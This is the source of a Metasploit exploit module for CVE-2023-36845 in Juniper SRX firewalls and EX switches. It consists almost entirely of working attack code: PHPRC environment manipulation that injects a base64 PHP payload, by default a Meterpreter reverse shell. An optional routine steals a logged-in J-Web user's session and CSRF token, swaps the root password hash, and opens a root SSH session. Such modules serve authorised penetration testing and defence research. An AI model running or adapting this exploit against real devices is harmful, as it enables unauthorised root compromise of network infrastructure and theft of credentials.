Juniper SRX Firewall / EX Switch Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'unix_crypt'require 'net/ssh'require 'net/ssh/command_stream'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::SSH  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Junos OS PHPRC Environment Variable Manipulation RCE',        'Description' => %q{          This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls          and EX switches. The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin          by opening /dev/fd/0. The exploit also makes use of two useful PHP features. The first being          'auto_prepend_file' which causes the provided file to be added using the 'require' function. The second PHP          function is 'allow_url_include' which allows the use of URL-aware fopen wrappers. By enabling          allow_url_include, the exploit can use any protocol wrapper with auto_prepend_file. The module then uses          data:// to provide a file inline which includes the base64 encoded PHP payload.          By default this exploit returns a session confined to a FreeBSD jail with limited functionality. There is a          datastore option 'JAIL_BREAK', that when set to true, will steal the necessary tokens from a user authenticated          to the J-Web application, in order to overwrite the the root password hash. If there is no user          authenticated to the J-Web application this method will not work. The module then authenticates          with the new root password over SSH and then rewrites the original root password hash to /etc/master.passwd.        },        'Author' => [          'Jacob Baines',  # Analysis          'Ron Bowes',     # Jail break technique + Target setup instructions          'jheysel-r7'     # Msf module        ],        'References' => [          [ 'URL', 'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/'],          [ 'URL', 'https://vulncheck.com/blog/juniper-cve-2023-36845'],          [ 'URL', 'https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US'],          [ 'CVE', '2023-36845']        ],        'License' => MSF_LICENSE,        'Platform' => %w[php unix],        'Privileged' => false,        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP In-Memory',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php_memory,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp',                'RPORT' => 80              }            },          ],          [            'Interactive SSH with jail break',            {              'Arch' => ARCH_CMD,              'Platform' => 'unix',              'Type' => :nix_stream,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/interact',                'WfsDelay' => 30              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'cmd_interact',                  'ConnectionType' => 'find'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-08-17',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ CONFIG_CHANGES ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options([      OptString.new('TMP_ROOT_PASSWORD', [ true, 'If target is set to "Interactive SSH with jail break", the root user\'s password will be temporarily changed to this password', rand_text_alphanumeric(24)]),      OptPort.new('SSH_PORT', [true, 'SSH port of Junos Target', 22]),      OptInt.new('SSH_TIMEOUT', [ true, 'The maximum acceptable amount of time to negotiate a SSH session', 30])    ])  end  def check    non_existent_file = rand_text_alphanumeric(8..16)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'POST',      'ctype' => 'application/x-www-form-urlencoded',      'data' => "LD_PRELOAD=/tmp/#{non_existent_file}"    )    return CheckCode::Appears('Environment variable manipulation succeeded indicating this target is vulnerable.') if res && res.body.include?("Cannot open \"/tmp/#{non_existent_file}\"")    CheckCode::Safe('Environment variable manipulation failed indicating this target is not vulnerable.')  end  def send_php_exploit(phprc, file_contents)    post_data = "allow_url_include=1\n"    post_data << "auto_prepend_file=\"data://text/plain;base64,#{Rex::Text.encode_base64(file_contents)}\""    send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'POST',      'data' => post_data,      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        'PHPRC' => phprc      }    )  end  def get_php_session_id    get_var_sess = "<?php print_r(scandir('/var/sess'));?>"    res = send_php_exploit('/dev/fd/0', get_var_sess)    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]    fail_with(Failure::UnexpectedReply, "Failed to retrieve a PHP Session ID. There might not be a user logged in at the moment which would cause this to fail.\n Try setting JAIL_BREAK to false to in order to get a session as the 'nobody' user. Or try again when a there is a user authenticated to the J-Web application.") unless php_session_id    print_status("Found PHPSESSID: #{php_session_id}.")    php_session_id  end  def get_csrf_token(php_session_id)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'diagnose'),      'method' => 'GET',      'headers' =>        {          'Cookie' => "PHPSESSID=#{php_session_id}"        },      'vars_get' => {        'm[]' => 'pinghost'      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    csrf_token = res.get_html_document.xpath("//input[@type='hidden' and @name='csrf_token']/@value").text    fail_with(Failure::UnexpectedReply, 'Unable to retrieve a csrf token') unless csrf_token    print_status("Found csrf token: #{csrf_token}.")    csrf_token  end  def get_encrypted_root_password(php_session_id, csrf_token)    post_data = "rs=get_cli_data&rsargs[]=getQuery&csrf_token=#{csrf_token}&key=1"    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'jsdm', 'ajax', 'cli-editor.php'),      'method' => 'POST',      'data' => post_data,      'ctype' => 'application/x-www-form-urlencoded',      'headers' =>        {          'Cookie' => "PHPSESSID=#{php_session_id}"        }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    # The body of the above request is formatted like so:    ## Last changed: 2023-09-25 13:00:49 UTC    # version 20200609.165031.6_builder.r1115480;    # system {    #   host-name JUNOS;    #   root-authentication {    #     encrypted-password "$6$yMwZY.o0$WwCZgzN7FTDfhSvkum0y9ry/nu4yWOQcgW.JJz0vJapf5P6XHoCsigsz94oEKSPO5efKFP/JhhN3/FCKvB0Hp.";    #   }    #   login {    #     user admin {    #       uid 2000;    #       class super-user;    #       authentication {    #         encrypted-password "$6$65gs/MrK$DNpVWfIocQ.rG/ThjZXjRI/yha/lf1UImNKivq.T1K4yLW60PWFrcQakoP6mwHT9Cr3xQZZfomKSTRXWl2aWj1";    #       }    #     }    fail_with(Failure::UnexpectedReply, 'ssh root-login is not permitted on the device thus the module will not be able to establish a session or restore the original root password.') unless res.body.scan(/"ssh\s+\{\n\s+root-login\s+allow;"/)    # Multiple passwords are displayed in the output, ensure we grab the encrypted-password that belongs to the    # root-authentication configuration with the following regex:    og_encrypted_root_pass = res.body.scan(/root-authentication\s+\{\n\s+encrypted-password\s+"(.+)"/).flatten[0]    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the encrypted root password from the response') unless og_encrypted_root_pass    print_status("Original encrypted root password: #{og_encrypted_root_pass}")    og_encrypted_root_pass  end  def set_root_password(php_session_id, csrf_token, password_hash)    post_data = "&current-path=/system/root-authentication/&csrf_token=#{csrf_token}&key=1&JTK-FIELD-encrypted-password=#{password_hash}"    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'editor', 'edit', 'configuration', 'system', 'root-authentication'),      'method' => 'POST',      'data' => post_data,      'ctype' => 'application/x-www-form-urlencoded',      'headers' =>        {          'Cookie' => "PHPSESSID=#{php_session_id}"        },      'vars_get' => {        'action' => 'commit'      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")    end    print_status("Successfully changed the root user's password ")  end  def ssh_login    ssh_opts = ssh_client_defaults.merge({      port: datastore['SSH_PORT'],      auth_methods: ['password'],      password: datastore['TMP_ROOT_PASSWORD']    })    begin      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do        Net::SSH.start(rhost, 'root', ssh_opts)      end    rescue Net::SSH::Exception => e      vprint_error("#{e.class}: #{e.message}")      return nil    end    if ssh      Net::SSH::CommandStream.new(ssh)    end  end  def exploit    case target['Type']    when :nix_stream      print_status("Attempting to break out of FreeBSD jail by changing the root user's password, establishing an SSH session and then rewriting the original root user's password hash to /etc/master.passwd.")      print_warning("This requires a user is authenticated to the J-Web application in order to steal a session token, also 'ssh root-login' is set to 'allow' on the device")      php_session_id = get_php_session_id      csrf_token = get_csrf_token(php_session_id)      @og_encrypted_root_pass = get_encrypted_root_password(php_session_id, csrf_token)      tmp_password_hash = UnixCrypt::SHA512.build(datastore['TMP_ROOT_PASSWORD'])      print_status "Temporary root password Hash: #{tmp_password_hash}"      set_root_password(php_session_id, csrf_token, tmp_password_hash)      if (ssh = ssh_login)        print_good('Logged in as root')        handler(ssh.lsock)      end      set_root_password(php_session_id, csrf_token, @og_encrypted_root_pass)    when :php_memory      send_php_exploit('/dev/fd/0', payload.encoded)    else      fail_with(Failure::BadConfig, 'Please select a valid target.')    end  endend